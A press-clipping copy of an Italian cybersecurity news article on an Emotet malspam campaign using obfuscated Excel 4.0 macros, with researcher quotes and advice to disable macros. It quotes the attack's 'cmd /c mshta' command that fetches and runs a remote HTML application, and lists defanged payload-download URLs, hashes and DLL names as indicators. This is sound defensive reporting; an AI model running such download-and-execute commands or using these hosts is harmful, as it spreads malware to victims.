18/02/2022

cybersecurity360.it

Argomento: Exprivia: si parla di noi

EAV: € 1.521
Utenti unici: 28.467

https://www.cybersecurity360.it/nuove-minacce/emotet-la-nuova-variante-si-diffonde-attraverso-file-excel-dannosi-come-difendersi/

Emotet, la nuova variante si diffonde attraverso file Excel dannosi: come difendersi

Una nuova campagna Emotet, che sfrutta ancora attraverso le macro Excel, mette in luce quanto la botnet sia insidiosa e redditizia per il cybercrime. Ecco come proteggersi Ritorna Emotet, la botnet complice del cyber crime. I ricercatori di Palo Alto Networks Unit 42 hanno individuato una nuova campagna malspam che diffonde macro Excel infette.“Emotet è un trojan individuato per la prima volta nel 2014 chiamato anche Heodo. Una volta usato solo come banking trojan, ora viene utilizzato anche come distributore di altri malware o campagne dannose”, spiega Gaetano Scavo, Exprivia Cybersecurity Researcher.Indice degli argomenti La tecnica di diffusione utilizzata da EmotetIl vettore d’attaccoLo script PowerShellLa tecnica del Thread HijackingLa nuova campagna Emotet, la botnet più minacciosaIl giro d’affari del cyber crimeCome difendersi: disabilitare le macro La tecnica di diffusione utilizzata da Emotet Emotet si diffonde tramite e-mail. “I più importanti sono stati i messaggi di posta elettronica con collegamenti per installare un pacchetto di installazione di Adobe Windows falso”, continua Gaetano Scavo: “Oggi, invece, riappare utilizzando come vettore sempre le e-mail ma cambiando allegato: un file Excel contenete una macro Excel 4.0 offuscata. WHITEPAPER A che punto sono le aziende italiane in merito all’adeguamento al GDPR? Cybersecurity Sicurezza dei dati Scarica il WhitepaperLeggi l’informativa privacy Compila il form e scarica il documento E-mail * Consente l’invio di comunicazioni promozionali inerenti i prodotti e servizi di soggetti terzi rispetto alle Contitolari che appartengono al ramo manifatturiero, di servizi (in particolare ICT) e di commercio, con modalità di contatto automatizzate e tradizionali da parte dei terzi medesimi, a cui vengono comunicati i dati. Il vettore d’attacco “La mail di diffusione inviata dalle campagne Emotet”, avverte l’esperto di cybersecurity di Exprivia Cybersecurity Researcher, “contiene un documento Excel che include una macro Excel 4.0 offuscata. Nel momento in cui la vittima apre l’Excel e attiva la macro, essa avvia un cmd.exe per eseguire mshta.exe con un argomento per recuperare ed eseguire un’applicazione HTML remota come ad esempio cmd /cmshta hxxp://91.240.118[.]168/se/s.html. Questa applicazione caricherà ed eseguirà codice PowerShell per connettersi a hxxp://91.240.118[.]168/se/s.png cha sua volta scaricherà un secondo script PowerShell“. Lo script PowerShell “Questo script PowerShell contiene diversi URL per scaricare l’installer di Emotet”, sottolinea Gaetano Scavo: “Lo script tenta ogni URL finché un installer Emotet non viene scaricato correttamente. Avere più URL rende questo attacco più resiliente nel caso in cui uno degli URL venga bloccato. Alcuni URL utilizzati a

tele scopo sono: hxxp://artanddesign[.]one/wp-content/uploads/A2cZL7/ hxxp://strawberry.kids-singer[.]net/assets_c/WAdvNT84Dmu/ hxxps://eleccom[.]negozio:443/servizi/AEjSDj/ hxxps://izocab[.]com/nashi-klienty/B5SC/ hxxp://unifiedpharma[.]com/wp-content/5arxM/ hxxp://hotelamerpalace[.]com/Fox-C404/LEPqPJpt4Gbr8BHAn/ hxxps://connecticutsfinestmovers[.]com/Fox-C/mVwOqxT17gVWaE8E/ hxxp://icfacn[.]com/runtime/n7qA2YStudp/ hxxps://krezol-group[.]com:443/images/PmLGLKYeCBs5d/ hxxp://ledcaopingdeng[.]com/wp-includes/Qq39yj7fpvk/ hxxp://autodiscover.karlamejia[.]com/wp-admin/hcdnVlRIiwvTVrJjJEE/ hxxps://crmweb[.]info:443/bitrix/rc9XjtwF/ hxxp://accessunited-bank[.]com/admin/hzIgVwq8btak/ hxxp://pigij[.]com/wp-admin/MVW5/. Emotet usa le e-mail come vettore per diffondere il file Excel malevolo. Per individuare gli indirizzi mail target a cui inviare il messaggio malevolo utilizza il Thread Hijacking“. La tecnica del Thread Hijacking “Con questa tecnica”, spiega Gaetano Scavo, “Emotet invia risposte prestabilite , perciò non reali, sulla base di e-mail valide rubate dai client di posta degli host Windows in precedenza infettati da questo malware. Seguono gli URL utilizzati per il download di Emotet, gli hash degli script utilizzati e l’hash del file Excel. Hash SHA256 file Excel 6d55f25222831cce73fd9a64a8e5a63b002522dc2637bd2704f77168c7c02d88 Dimensione file: 77.989 byte Hash SHA256 scritp PowerShell 1: 9bda03babb0f2c6aa9861eca95b33af06a650e2851cce4edcc1fc3abd8e7c2a1 Dimensione file: 10.986 byte Hash SHA256 script PowerShell 2: 5bd4987db7e6946bf2ca3f73e17d6f75e2d8217df63b2f7763ea9a6ebcaf9fed Dimensione file: 1.353 byte Per verificare l’infezione è consigliato controllare se il malware ha creato nel seguente percorso la DLL di Emotet, il nome del file cambia in base all’URL di download: C :UsersPublicDocumentsssd .[utente]AppDataLocal[caratteri casuali][caratteri casuali].[caratteri casuali] Alcuni di questi file sono: 5c5dfbb6efff270f3d1cc1e6706308aa.dll d61a9a51006f1df934baa9950267ce8b.dll a87ac4f999b220eeb06fb09b461b51dd.dll de00b827303d33ba07f7bee1966a13b8.dll 93183f2e8ade72a42f2c04cbc2609e1b.dll bec841e3d4880dcd6be83b5a97ae1bdc.dll Iy5Crd5QwTA0n9PqwWI.dll LsiF9stTyHHIMH.dll c11771ffadb95e80475ce3ec52dcd8ec.dll”.Infatti “la tecnica del thread hijacking genera risposte fasulle basate su e-mail legittime rubate da client di posta elettronica di host Windows precedentemente infettati da Emotet”, ha spiegato la Unit 42 nel suo report. “La botnet usa queste dati di posta elettronica trafugati per creare risposte fake impersonando i mittenti originali”. La nuova campagna Emotet, la botnet più minacciosa La campagna, attiva dal 21 dicembre scorso e scoperta dai ricercatori di Palo Alto Networks Unit 42, sfrutta macro Excel 4.0 dei documenti per ufficio e layer di offuscamento e tattiche fra cui il dirottamento del thread.“La nuova campagna scoperta dei ricercatori”, commenta Pierluigi Paganini, analista di cyber security e CEO Cybhorus, “evidenzia lo sforzo continuo degli operatori dietro questa minaccia per renderla più evasiva e versatile“. Emotet, la botnet da 2,5 miliardi di dollari per il cybercrime.Quando si attiva la macro, essa

scarica ed esegue un'applicazione HTML che a sua volta effettua il download in due fasi di PowerShell per recuperare e generare l'esecuzione finale del payload di Emotet.Le varie fasi d'attacco usano file di differente tipologia e script offuscati, per cogliere gli utenti alla sprovvista."Ricordiamo, infatti, la centralità del ruolo di Emotet nell'ecosistema criminale", evidenzia Paganini, che fa notare come "molteplici gruppi criminali utilizzano questa botnet per condurre le proprie operazioni. Ancora una volta gli attaccanti sfruttano le potenzialità delle macro presenti all'interno di documenti Office, un vettore di attacco consolidato". Il giro d'affari del cyber crime Emotet è senza dubbio pericolosa e insidiosa, ma a muovere il mondo cyber crime è purtroppo la leva finanziaria. Parliamo di cifre da capogiro che rendono profittevole condurre operazioni cyber criminali."Impressionante anche l'economia dietro una simile minaccia", conclude Paganini. "Secondo i ricercatori di Check Point, la botnet ha ad oggi infettato fino ad 1,5 milioni di sistemi su scala mondiale generando proventi per 2,5 miliardi di dollari, una cifra impressionante che ci ricorda quanto prolifica e redditizia sia l'industria del cyber crime". Come difendersi: disabilitare le macro Il documento utilizza le macro di Excel. Poiché attori malevoli sfruttano questa funzionalità a frequente rischio di abusi per propagare malware, gli esperti di cyber security consigliano di disabilitarle per bloccare il codice malevolo di default. Infatti, commenta Gaetano Scavo: "Poiché i malintenzionati adoperano le macro di Excel per propagare il malware Emotet, il consiglio è di disabilitare le macro di default, dal sistema operativo, per bloccare il codice malevolo". E conclude: "Per questo motivo, con la Build 16.0.14427.10000, Microsoft ha disabilitato per default le macro di Excel XML 4.0 con la conseguenza che quando l'utente aprirà un documento (senza aver modificato il default), comparirà nel documento un popup di sicurezza 'Abilita contenuto' e solo nel momento in cui l'utente cliccherà sarà avviata la macro malevola".@RIPRODUZIONE RISERVATA